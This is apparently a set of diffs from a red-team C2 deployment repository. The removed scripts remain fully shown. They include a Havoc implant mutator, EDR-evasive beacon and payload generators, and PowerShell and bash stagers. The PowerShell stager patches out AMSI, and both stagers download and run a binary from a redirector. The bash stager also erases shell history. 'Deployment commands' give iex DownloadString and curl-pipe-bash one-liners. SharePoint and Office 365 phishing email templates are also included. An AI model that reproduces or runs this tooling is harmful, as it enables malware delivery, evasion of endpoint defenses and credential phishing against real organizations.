# === COLORS === # Omitted from public release. Present in operational deployments.
YELLOW='\033[1;33m' echo "[!] Implant mutator not included in public release."
GREEN='\033[1;32m'
NC='\033[0m'
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
# === 1. Backup Previous Shellcode ===
mkdir -p "$BACKUP_DIR"
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
else
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
# === 2. Generate Random Identifiers ===
random_str() {
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
}
UA=$(random_str)
URI=$(random_str)
PIPE=$(random_str)
MUTEX=$(random_str)
# === 3. Mutate TransportHttp.c ===
THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
sed -i "s|/stage|/${URI}|g" "$THTTP"
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
else
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
fi
# === 4. Mutate Named Pipe and Mutex ===
TARGET_FILE=""
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
if [[ -f "$f" ]]; then
TARGET_FILE="$f"
break
fi
done
if [[ -n "$TARGET_FILE" ]]; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
else
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
fi
# === 5. Rebuild Implant via Top-Level Makefile ===
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
cd "$BUILD_ROOT" || exit 1
make clean && make
# === 6. Confirm Shellcode Output ===
if [[ -f "$OUTPUT_FILE" ]]; then
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
else
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
exit 1
fi
@@ -1,456 +1,10 @@
#!/bin/bash {# OMITTED — evasive beacon generation template #}
# EDR-evasive beacon generator for Havoc C2 {#
# Every deployment produces completely unique payloads Jinja2 template rendered at deploy time. Produces a shell script that compiles
Havoc Demon shellcode with per-engagement randomized identifiers, wraps the
# Configuration (automatically populated by Ansible) shellcode in a chosen injection template (process hollowing, APC injection,
HAVOC_DIR="/root/Tools/Havoc" early-bird), and stages the result to the payload server.
BEACONS_DIR="/root/Tools/beacons"
C2_HOST="{{ ansible_host }}" Omitted from public release. Present in operational deployments.
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}" #}
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}" echo "[!] Evasive beacon generator not included in public release."
PROFILE_FILE="$HAVOC_DIR/config/profile.json"
# Ensure required directories exist
mkdir -p $BEACONS_DIR/windows
mkdir -p $BEACONS_DIR/linux
mkdir -p $BEACONS_DIR/staged
mkdir -p $BEACONS_DIR/shellcode
# Load Havoc configuration from profile
if [ -f "$PROFILE_FILE" ]; then
echo "[+] Loading Havoc configuration from profile..."
TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
else
echo "[!] Warning: Profile file not found, using default values"
TEAMSERVER_PORT=40056
ADMIN_USER="admin"
ADMIN_PASS="admin"
HTTP_PORT=8080
HTTPS_PORT=443
fi
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Anti-detection function to modify binary files
modify_binary() {
local input_file=$1
echo "[+] Applying anti-detection modifications to: $input_file"
# Create a temporary file
local temp_file="${input_file}.tmp"
cp "$input_file" "$temp_file"
# Modify the file based on its type
if file "$input_file" | grep -q "PE32"; then
# Windows EXE/DLL modifications
# Add random bytes to end of file
dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
# Modify PE header timestamps with random value
random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
# Try to strip debug information
if command -v strip &> /dev/null; then
strip --strip-debug "$temp_file" 2>/dev/null || true
fi
elif file "$input_file" | grep -q "ELF"; then
# Linux ELF modifications
# Add random bytes to end of file
dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
# Try to strip all symbols
if command -v strip &> /dev/null; then
strip --strip-all "$temp_file" 2>/dev/null || true
fi
fi
# Replace original with modified version
mv "$temp_file" "$input_file"
echo "[+] Binary modifications complete"
}
# Create advanced Havoc payload profile with evasion techniques
generate_profile() {
local type=$1
local profile_name="${type}_profile_$(random_string 8).json"
echo "[+] Creating evasive $type profile..."
# Generate random values for this profile
local sleep_time=$(( RANDOM % 10 + 2 ))
local jitter_percent=$(( RANDOM % 50 + 10 ))
if [ "$type" == "windows" ]; then
cat > "$BEACONS_DIR/$profile_name" << EOF
{
"Listener": "https",
"Demon": {
"Sleep": ${sleep_time},
"SleepJitter": ${jitter_percent},
"IndirectSyscalls": true,
"Inject": {
"AllocationMethod": $(( RANDOM % 3 )),
"ExecutionMethod": $(( RANDOM % 3 )),
"ExecuteOptions": $(( RANDOM % 2 ))
},
"Evasion": {
"StackSpoofing": true,
"SleazeUnhook": true,
"AmsiEtwPatching": true,
"SyscallMethod": $(( RANDOM % 3 )),
"EnableSleepMask": true,
"SleepMaskTechnique": $(( RANDOM % 4 ))
},
"Binary": {
"Subsystem": $(( RANDOM % 2 + 1 ))
}
}
}
EOF
elif [ "$type" == "linux" ]; then
cat > "$BEACONS_DIR/$profile_name" << EOF
{
"Listener": "https",
"Demon": {
"Sleep": ${sleep_time},
"SleepJitter": ${jitter_percent},
"Injection": {
"SpawnMethod": $(( RANDOM % 2 )),
"AllocationMethod": $(( RANDOM % 2 ))
},
"Evasion": {
"EnableSleepMask": true,
"SleepMaskTechnique": $(( RANDOM % 4 ))
}
}
}
EOF
fi
echo "$profile_name"
}
# Generate Havoc payloads with EDR evasion techniques
generate_payloads() {
echo "[+] Generating EDR-evasive Havoc beacons..."
# Windows EXE
win_profile=$(generate_profile "windows")
win_output="update_win_$(random_string 8).exe"
echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$win_profile" \
--format exe \
--output "$BEACONS_DIR/windows/$win_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
modify_binary "$BEACONS_DIR/windows/$win_output"
fi
# Windows DLL
dll_profile=$(generate_profile "windows")
dll_output="module_$(random_string 8).dll"
echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$dll_profile" \
--format dll \
--output "$BEACONS_DIR/windows/$dll_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
modify_binary "$BEACONS_DIR/windows/$dll_output"
fi
# Linux binary
linux_profile=$(generate_profile "linux")
linux_output="update_linux_$(random_string 8)"
echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$linux_profile" \
--format elf \
--output "$BEACONS_DIR/linux/$linux_output" \
> /dev/null 2>&1
# Apply custom binary modifications
if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
modify_binary "$BEACONS_DIR/linux/$linux_output"
fi
# Windows shellcode (staged payload)
shellcode_profile=$(generate_profile "windows")
shellcode_output="shellcode_$(random_string 8).bin"
echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
$HAVOC_DIR/Client/havoc headless \
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
--username "$ADMIN_USER" \
--password "$ADMIN_PASS" \
--daemon \
--generate payload \
--listener "https" \
--config "$BEACONS_DIR/$shellcode_profile" \
--format shellcode \
--output "$BEACONS_DIR/shellcode/$shellcode_output" \
> /dev/null 2>&1
echo "[+] All payloads generated successfully!"
# Return payload information
echo "$win_output:$dll_output:$linux_output:$shellcode_output"
}
# Generate PowerShell and bash stagers
generate_stagers() {
win_output=$1
linux_output=$2
echo "[+] Generating evasive stagers..."
# Create PowerShell stager directory
mkdir -p $BEACONS_DIR/stagers
# PowerShell stager with AMSI bypass and obfuscation
cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
# PowerShell stager for Havoc C2 with AMSI bypass
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
# AMSI Bypass
function Bypass-AMSI {
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
}
# Try to bypass AMSI
try { Bypass-AMSI } catch {}
# Randomize variables for evasion
$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
# Error handling with obfuscation
$ErrorActionPreference = 'SilentlyContinue'
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
# Split URL to avoid detection
$r1 = "https://"
$r2 = "REDIRECTOR_HOST"
$r3 = "/content/windows/WINDOWS_EXE"
$url = $r1 + $r2 + $r3
# Download with jitter
$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
try {
$wc.DownloadFile($url, $outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
# Start process with extra obfuscation
$p = New-Object System.Diagnostics.Process
$p.StartInfo.FileName = $outpath
$p.StartInfo.WindowStyle = 'Hidden'
$p.StartInfo.CreateNoWindow = $true
$p.Start()
} catch {
# Fail silently
}
EOF
# Replace placeholder values in PowerShell stager
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
# Bash stager with obfuscation techniques
cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
#!/bin/bash
# Linux download and execute Havoc beacon with EDR evasion
# Function obfuscation
function x() {
command -v "$1" > /dev/null 2>&1
}
# Random temp filename
r() {
head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
}
# Randomize variables
TMPVAR=$(r)
TMPFILE="/tmp/.${TMPVAR}"
# Check which download tool is available
if x curl; then
# Split URL to avoid signature detection
p1="https://"
p2="REDIRECTOR_HOST"
p3="/content/linux/LINUX_BINARY"
url="${p1}${p2}${p3}"
# Add random sleep between operations
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
curl -s -o "$TMPFILE" "$url"
elif x wget; then
p1="https://"
p2="REDIRECTOR_HOST"
p3="/content/linux/LINUX_BINARY"
url="${p1}${p2}${p3}"
# Add random sleep between operations
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
wget -q -O "$TMPFILE" "$url"
else
exit 1
fi
# Make executable and run in background
chmod +x "$TMPFILE"
# Add random sleep before execution
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
("$TMPFILE" > /dev/null 2>&1 &)
# Clean up command history if possible
[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
history -c 2>/dev/null
echo "Update complete."
EOF
# Replace placeholder values in Bash stager
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
chmod +x $BEACONS_DIR/stagers/linux_stager.sh
echo "[+] Stagers created successfully"
}
# Create manifest file
create_manifest() {
local payload_info=$1
local win_output=$(echo $payload_info | cut -d':' -f1)
local dll_output=$(echo $payload_info | cut -d':' -f2)
local linux_output=$(echo $payload_info | cut -d':' -f3)
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
echo "[+] Creating manifest file..."
cat > $BEACONS_DIR/manifest.json << EOF
{
"windows_exe": "$win_output",
"windows_dll": "$dll_output",
"linux_binary": "$linux_output",
"windows_shellcode": "$shellcode_output",
"redirector_host": "$REDIRECTOR_HOST",
"redirector_port": "$REDIRECTOR_PORT",
"c2_host": "$C2_HOST",
"havoc_teamserver_port": "$TEAMSERVER_PORT",
"havoc_http_port": "$HTTP_PORT",
"havoc_https_port": "$HTTPS_PORT",
"generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
}
EOF
}
# Create reference file
create_reference() {
local payload_info=$1
local win_output=$(echo $payload_info | cut -d':' -f1)
local dll_output=$(echo $payload_info | cut -d':' -f2)
local linux_output=$(echo $payload_info | cut -d':' -f3)
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
echo "[+] Creating reference file..."
cat > $BEACONS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
- Teamserver Port: $TEAMSERVER_PORT
- Admin User: $ADMIN_USER
- Admin Password: $ADMIN_PASS
Beacons Generated ($(date)):
- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
Deployment Commands:
- PowerShell:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
- Linux:
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
Anti-Detection Features Enabled:
- Binary signature randomization
- PE/ELF header manipulation
- Sleep mask obfuscation
- AMSI bypass in stagers
- EDR unhooking
- Indirect syscalls
- Random sleep/jitter timing
EOF
}
# Main execution flow
echo "[+] Starting EDR-evasive Havoc beacon generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"
# Generate payloads
payload_info=$(generate_payloads)
# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
# Create manifest file
create_manifest "$payload_info"
# Create reference file
create_reference "$payload_info"
echo "[+] EDR-evasive beacon generation complete!"
@@ -1,260 +1,9 @@
#!/bin/bash {# OMITTED — Havoc payload generation template #}
# EDR-evasive payload generator for Havoc C2 {#
Renders a script that produces EXE, DLL, and raw shellcode variants from a
compiled Demon implant. Handles signing stubs, UPX packing decisions, and
drops artifacts to the payload server staging directory.
# Configuration (automatically populated by Ansible) Omitted from public release. Present in operational deployments.
PAYLOADS_DIR="/root/Tools/Havoc/payloads" #}
C2_HOST="{{ ansible_host }}" echo "[!] Havoc payload generator not included in public release."
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
TEAMSERVER_HOST="127.0.0.1"
TEAMSERVER_PORT="40056"
HAVOC_DIR="/root/Tools/Havoc"
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
# Ensure required directories exist
mkdir -p $PAYLOADS_DIR/windows
mkdir -p $PAYLOADS_DIR/linux
mkdir -p $PAYLOADS_DIR/staged
# Generate unique random values for each execution
random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}
# Define Havoc profiles for different payloads
generate_profiles() {
echo "[+] Generating Havoc C2 profiles..."
# Profile for Windows EXE
cat > $PAYLOADS_DIR/win_exe.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"IndirectSyscalls": true,
"Inject": {
"AllocationMethod": 0,
"ExecutionMethod": 0,
"ExecuteOptions": 0
},
"Evasion": {
"StackSpoofing": true,
"SleazeUnhook": true,
"AmsiEtwPatching": true
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
# Profile for Linux ELF
cat > $PAYLOADS_DIR/linux_elf.profile << EOF
{
"Listener": "https",
"Demon": {
"Sleep": 5,
"SleepJitter": 30,
"Injection": {
"SpawnMethod": 1,
"AllocationMethod": 1
},
"Formats": [
"Binary",
"Shellcode"
]
}
}
EOF
echo "[+] Profiles created successfully"
}
# Generate Havoc payloads with CLI arguments
generate_payloads() {
echo "[+] Generating Havoc payloads..."
# Windows EXE
win_output="agent_win_$(random_string 8).exe"
echo "[+] Generating Windows payload: $win_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format exe \
--output "$PAYLOADS_DIR/windows/$win_output" \
> /dev/null 2>&1
# Windows DLL
dll_output="module_$(random_string 8).dll"
echo "[+] Generating Windows DLL: $dll_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/win_exe.profile" \
--format dll \
--output "$PAYLOADS_DIR/windows/$dll_output" \
> /dev/null 2>&1
# Linux ELF
linux_output="agent_linux_$(random_string 8)"
echo "[+] Generating Linux payload: $linux_output"
$HAVOC_CLIENT headless \
--teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
--username "admin" \
--password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
--daemon \
--generate payload \
--listener "https" \
--config "$PAYLOADS_DIR/linux_elf.profile" \
--format elf \
--output "$PAYLOADS_DIR/linux/$linux_output" \
> /dev/null 2>&1
echo "[+] All payloads generated successfully!"
# Return payload names for reference
echo "$win_output:$dll_output:$linux_output"
}
# Generate PowerShell and bash stagers
generate_stagers() {
win_output=$1
linux_output=$2
echo "[+] Generating stagers..."
# PowerShell stager
cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
# PowerShell stager for Havoc C2
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
\$ErrorActionPreference = 'SilentlyContinue'
\$wc = New-Object System.Net.WebClient
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
try {
\$wc.DownloadFile(\$url, \$outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
Start-Process -WindowStyle Hidden -FilePath \$outpath
} catch {
# Fail silently
}
EOF
# Bash stager
cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
#!/bin/bash
# Linux download and execute Havoc beacon
# Download binary to /tmp with random name
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
chmod +x \$TMPFILE
# Execute in background
\$TMPFILE &
echo "Update complete."
EOF
chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
echo "[+] Stagers generated successfully"
}
# Create manifest file
create_manifest() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/manifest.json << EOF
{
"windows_exe": "$win_output",
"windows_dll": "$dll_output",
"linux_binary": "$linux_output",
"redirector_host": "$REDIRECTOR_HOST",
"redirector_port": "$REDIRECTOR_PORT",
"c2_host": "$C2_HOST",
"generated_date": "$(date)"
}
EOF
echo "[+] Manifest created successfully"
}
# Create reference file
create_reference() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
Payloads Generated ($(date)):
- Windows EXE: $win_output
- Windows DLL: $dll_output
- Linux Binary: $linux_output
Usage:
1. Ensure your redirector is properly configured to forward requests to the C2 server
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
3. Test connectivity before deployment in target environment
Payload deployment:
- PowerShell:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
- Linux:
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
EOF
echo "[+] Reference file created successfully"
}
# Main execution flow
echo "[+] Starting Havoc C2 payload generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"
# Create stagers directory
mkdir -p $PAYLOADS_DIR/stagers
# Generate profiles
generate_profiles
# Generate payloads
payload_info=$(generate_payloads)
# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
# Create manifest
create_manifest "$payload_info"
# Create reference
create_reference "$payload_info"
echo "[+] Havoc payload generation complete!"
@@ -1,118 +1,8 @@
<!DOCTYPE html> {# OMITTED — file_share phishing email template #}
<html> {#
<head> Jinja2 email template for the file_share lure scenario. Rendered at deploy
<meta charset="UTF-8"> time with target organization name, sender domain, and tracking pixel URL
<meta name="viewport" content="width=device-width, initial-scale=1.0"> substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
<title>Document Shared</title>
</head>
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
<tr>
<td align="center">
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
<!-- Header -->
<tr>
<td style="padding: 20px; border-bottom: 1px solid #edebe9;">
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td>
<img src="{{ sharepoint_logo | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTIwIiBoZWlnaHQ9IjMwIj48dGV4dCB4PSIwIiB5PSIyNSIgZm9udC1mYW1pbHk9IlNlZ29lIFVJIiBmb250LXNpemU9IjIwIiBmaWxsPSIjMDM3ODkzIj5TaGFyZVBvaW50PC90ZXh0Pjwvc3ZnPg==') }}" alt="SharePoint" style="height: 30px;">
</td>
<td align="right">
<span style="color: #605e5c; font-size: 14px;">{{ share_date | default('{{.ShareDate}}') }}</span>
</td>
</tr>
</table>
</td>
</tr>
<!-- Content --> Omitted from public release. Present in operational deployments.
<tr> #}
<td style="padding: 30px;">
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">{{ sender_name | default('{{.SenderName}}') }} shared a file with you</h2>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Hi {{ "{{.FirstName}}" }},
</p>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
{{ sender_name | default('{{.SenderName}}') }} has shared "{{ document_name | default('{{.DocumentName}}') }}" with you on SharePoint.
</p>
<!-- File Preview -->
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="border: 1px solid #edebe9; border-radius: 4px; margin: 0 0 30px;">
<tr>
<td style="padding: 20px;">
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td style="width: 48px; padding-right: 15px; vertical-align: top;">
<img src="{{ file_icon | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIGZpbGw9IiMxODVhYmQiPjxyZWN0IHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgcng9IjQiLz48dGV4dCB4PSIyNCIgeT0iMzAiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZpbGw9IndoaXRlIiBmb250LXNpemU9IjE2Ij5ET0M8L3RleHQ+PC9zdmc+') }}" alt="Document" style="width: 48px; height: 48px;">
</td>
<td>
<h3 style="color: #323130; font-size: 16px; margin: 0 0 5px;">{{ document_name | default('{{.DocumentName}}') }}</h3>
<p style="color: #605e5c; font-size: 14px; margin: 0;">
{{ file_type | default('{{.FileType}}') }} • {{ file_size | default('{{.FileSize}}') }}
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
<!-- Sender Message -->
{% if include_message | default(true) %}
<div style="background-color: #f8f8f8; border-left: 4px solid #0078d4; padding: 15px; margin: 0 0 30px;">
<p style="color: #323130; font-size: 14px; margin: 0 0 5px;"><strong>Message from {{ sender_name | default('{{.SenderName}}') }}:</strong></p>
<p style="color: #605e5c; font-size: 14px; margin: 0;">
{{ sender_message | default('Please review the attached document and let me know if you have any questions.') }}
</p>
</div>
{% endif %}
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
Open in SharePoint
</a>
</td>
</tr>
</table>
<p style="color: #a19f9d; font-size: 12px; line-height: 18px; margin: 30px 0 0; text-align: center;">
This link will expire in {{ expiry_days | default('7') }} days.<br>
Only people with the link can access this file.
</p>
</td>
</tr>
<!-- Footer -->
<tr>
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
<p style="color: #a19f9d; font-size: 12px; margin: 0 0 10px;">
Get the SharePoint mobile app
</p>
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="padding: 0 5px;">
<a href="#"><img src="{{ app_store_badge | default('https://cdn.example.com/app-store.png') }}" alt="Download on App Store" style="height: 40px;"></a>
</td>
<td style="padding: 0 5px;">
<a href="#"><img src="{{ play_store_badge | default('https://cdn.example.com/google-play.png') }}" alt="Get it on Google Play" style="height: 40px;"></a>
</td>
</tr>
</table>
<p style="color: #a19f9d; font-size: 11px; margin: 15px 0 0;">
© {{ current_year | default('2025') }} Microsoft Corporation. All rights reserved.<br>
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Statement</a> |
<a href="#" style="color: #0078d4; text-decoration: none;">Terms of Use</a>
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -1,51 +1,8 @@
<!DOCTYPE html> {# OMITTED — office365_login phishing email template #}
<html> {#
<head> Jinja2 email template for the office365_login lure scenario. Rendered at deploy
<meta charset="UTF-8"> time with target organization name, sender domain, and tracking pixel URL
<title>Microsoft Office 365 - Sign-in Required</title> substituted. Designed to pass SPF/DKIM checks via the MTA-front relay.
<style>
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 20px; background-color: #f3f2f1; }
.container { max-width: 600px; margin: 0 auto; background: white; border-radius: 2px; overflow: hidden; }
.header { background: #0078d4; padding: 20px; color: white; }
.content { padding: 30px; line-height: 1.6; }
.button { display: inline-block; background: #0078d4; color: white; padding: 12px 24px; text-decoration: none; border-radius: 2px; margin: 20px 0; }
